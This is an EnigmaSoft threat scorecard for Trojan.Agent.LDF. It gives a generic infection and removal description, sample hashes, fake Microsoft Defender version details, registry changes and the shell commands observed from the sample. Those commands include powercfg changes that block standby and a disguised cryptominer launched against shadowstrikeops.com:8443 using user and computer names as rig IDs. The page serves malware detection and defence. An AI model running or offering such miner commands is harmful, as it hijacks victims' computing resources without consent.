Trojan.Agent.LDF
Threat Scorecard
EnigmaSoft Threat Scorecard
EnigmaSoft Threat Scorecards are assessment reports for different malware threats which have been collected and analyzed by our research team. EnigmaSoft Threat Scorecards evaluate and rank threats using several metrics including real-world and potential risk factors, trends, frequency, prevalence, and persistence. EnigmaSoft Threat Scorecards are updated regularly based on our research data and metrics and are useful for a wide range of computer users, from end users seeking solutions to remove malware from their systems to security experts analyzing threats.
EnigmaSoft Threat Scorecards display a variety of useful information, including:
Popularity Rank: The ranking of a particular threat in EnigmaSoft’s Threat Database.
Severity Level: The determined severity level of an object, represented numerically, based on our risk modeling process and research, as explained in our Threat Assessment Criteria.
Infected Computers: The number of confirmed and suspected cases of a particular threat detected on infected computers as reported by SpyHunter.
See also Threat Assessment Criteria.
| Popularity Rank: | 11,718 |
| Threat Level: | 80 % (High) |
| Infected Computers: | 14 |
| First Seen: | May 24, 2025 |
| Last Seen: | June 7, 2026 |
| OS(es) Affected: | Windows |
The detection of Trojan.Agent.LDF on your system indicates a potential security threat that requires immediate attention. This type of malware is designed to compromise the security and integrity of your computer, and it's essential to understand its nature and take steps to remove it.
Table of Contents
What Is Trojan.Agent.LDF?
Trojan.Agent.LDF is a type of Trojan horse malware that can infiltrate your system without your knowledge or consent. The term "Trojan" refers to the malicious program's ability to disguise itself as a legitimate file or application, allowing it to evade detection and gain access to your system. The ".LDF" suffix may indicate a specific variant or classification of the malware, but it does not provide information about its origin, purpose, or behavior.
How Trojan.Agent.LDF Operates
Once installed, Trojan.Agent.LDF can operate in various ways, depending on its intended purpose. It may attempt to connect to a command and control server to receive instructions, download additional malware, or transmit sensitive information from your system. The malware may also try to exploit vulnerabilities in your operating system or applications to gain elevated privileges, allowing it to carry out malicious activities without detection.
Trojan.Agent.LDF can be spread through various means, including infected software downloads, compromised websites, or phishing emails. It may also be bundled with other malware or legitimate software, making it difficult to detect and remove.
Symptoms of Infection
The symptoms of a Trojan.Agent.LDF infection can vary, but common indicators include slow system performance, unexpected pop-ups or advertisements, and unusual network activity. You may also notice that your system is crashing or freezing frequently, or that your antivirus software is detecting and blocking suspicious activity. In some cases, the malware may not exhibit any noticeable symptoms, making it difficult to detect without the aid of antivirus software.
- Unexplained changes to your system settings or configuration
- Appearance of unfamiliar icons, shortcuts, or programs
- Increased CPU usage or memory consumption
- Difficulty accessing certain files or applications
How to Remove Trojan.Agent.LDF
- Restart your system in Safe Mode with Networking to prevent the malware from loading and to allow for a clean removal process.
- Use a reputable antivirus tool, such as SpyHunter, to perform a full scan of your system and detect any malicious files or applications.
- Uninstall any suspicious programs or applications that may be related to the malware.
- Reset your web browsers, including Chrome, Firefox, and Edge, to their default settings to remove any malicious extensions or add-ons.
- Reboot your system and perform another full scan to ensure that the malware has been completely removed.
Conclusion
Removing Trojan.Agent.LDF from your system requires a combination of technical expertise and caution. It's essential to follow the steps outlined above and to use reputable antivirus software to detect and remove the malware. Additionally, it's crucial to practice safe computing habits, such as avoiding suspicious downloads and emails, to prevent future infections. By taking these steps, you can help protect your system and sensitive information from the risks associated with Trojan.Agent.LDF and other types of malware.
Analysis Report
General information
| Family Name: | Trojan.Agent.LDF |
|---|---|
| Signature status: | No Signature |
Known Samples
Known Samples
This section lists other file samples believed to be associated with this family.|
MD5:
c47600254c101c5325b75be7e7a1bfbf
SHA1:
be7e580f6c8e60a589d360c628961bef7a148cf6
SHA256:
947D1BB631E858052BDAD4B1D8E3DD117480368BBAEF13147920D24ED67A6BC5
File Size:
19.97 KB, 19968 bytes
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Windows Portable Executable Attributes
- File doesn't have "Rich" header
- File doesn't have debug information
- File doesn't have exports table
- File doesn't have security information
- File has TLS information
- File is 64-bit executable
- File is either console or GUI application
- File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
- File is Native application (NOT .NET application)
- File is not packed
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- IMAGE_FILE_DLL is not set inside PE header (Executable)
- IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)
Windows PE Version Information
Windows PE Version Information
This section displays values and attributes that have been set in the Windows file version information data structure for samples within this family. To mislead users, malware actors often add fake version information mimicking legitimate software.| Name | Value |
|---|---|
| Company Name | Microsoft Corporation |
| File Description | Antimalware Core Service |
| File Version | 4.18.25030.2 (000028f0c1f345a538ea89b768605447f1c02bdf) |
| Internal Name | MpDefenderCoreService.exe |
| Legal Copyright | © Microsoft Corporation. All rights reserved. |
| Original Filename | MpDefenderCoreService.exe |
| Private Build | GitEnlistment(ContainerAdministrator) |
| Product Name | Microsoft® Windows® Operating System |
| Product Version | 4.18.25030.2 |
File Traits
- x64
Block Information
Block Information
During analysis, EnigmaSoft breaks file samples into logical blocks for classification and comparison with other samples. Blocks can be used to generate malware detection rules and to group file samples into families based on shared source code, functionality and other distinguishing attributes and characteristics. This section lists a summary of this block data, as well as its classification by EnigmaSoft. A visual representation of the block data is also displayed, where available.| Total Blocks: | 116 |
|---|---|
| Potentially Malicious Blocks: | 6 |
| Whitelisted Blocks: | 110 |
| Unknown Blocks: | 0 |
Visual Map
? - Unknown Block
x - Potentially Malicious Block
Similar Families
Similar Families
This section lists other families that share similarities with this family, based on EnigmaSoft’s analysis. Many malware families are created from the same malware toolkits and use the same packing and encryption techniques but uniquely extend functionality. Similar families may also share source code, attributes, icons, subcomponents, compromised and/or invalid digital signatures, and network characteristics. Researchers leverage these similarities to rapidly and effectively triage file samples and extend malware detection rules.- Agent.FOSA
- Agent.OFSI
- CobaltStrike.FI
- CobaltStrike.HO
- ReverseShell.LE
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- Shellcode.BA
Registry Modifications
Registry Modifications
This section lists registry keys and values that were created, modified and/or deleted by samples in this family. Windows Registry activity can provide valuable insight into malware functionality. Additionally, malware often creates registry values to allow itself to automatically start and indefinitely persist after an initial infection has compromised the system.| Key::Value | Data | API Name |
|---|---|---|
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::proxybypass | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::intranetname | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::uncasintranet | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::autodetect | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::proxybypass | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::intranetname | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::uncasintranet | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::autodetect | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | γ꿯☝ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 劭꿾☝ǜ | RegNtPreCreateKey |
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| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 繢뀧☝ǜ | RegNtPreCreateKey |
Windows API Usage
Windows API Usage
This section lists Windows API calls that are used by the samples in this family. Windows API usage analysis is a valuable tool that can help identify malicious activity, such as keylogging, security privilege escalation, data encryption, data exfiltration, interference with antivirus software, and network request manipulation.| Category | API |
|---|---|
| Syscall Use |
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84 additional items are not displayed above. |
| Anti Debug |
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| Process Shell Execute |
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| User Data Access |
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| Process Terminate |
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Shell Command Execution
Shell Command Execution
This section lists Windows shell commands that are run by the samples in this family. Windows Shell commands are often leveraged by malware for nefarious purposes and can be used to elevate security privileges, download and launch other malware, exploit vulnerabilities, collect and exfiltrate data, and hide malicious activity.
open cmd.exe /c powercfg /change standby-timeout-ac 0 >nul 2>&1
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open cmd.exe /c powercfg /S e9a42b02-d5df-448d-aa00-03f14749eb61 >nul 2>&1
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open cmd.exe /c %SystemRoot%\System32\ResourceConsumer.exe --url shadowstrikeops.com:8443 --user "%USERNAME: =_%_%COMPUTERNAME: =_%" --rig-id "%USERNAME: =_%_%COMPUTERNAME: =_%" --donate-level 1 --cpu-priority 0 --cpu-max-threads-hint 70 --background --tls
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C:\WINDOWS\system32\powercfg.exe powercfg /change standby-timeout-ac 0
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C:\WINDOWS\system32\powercfg.exe powercfg /S e9a42b02-d5df-448d-aa00-03f14749eb61
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WriteConsole: 'C:\WINDOWS\Syst
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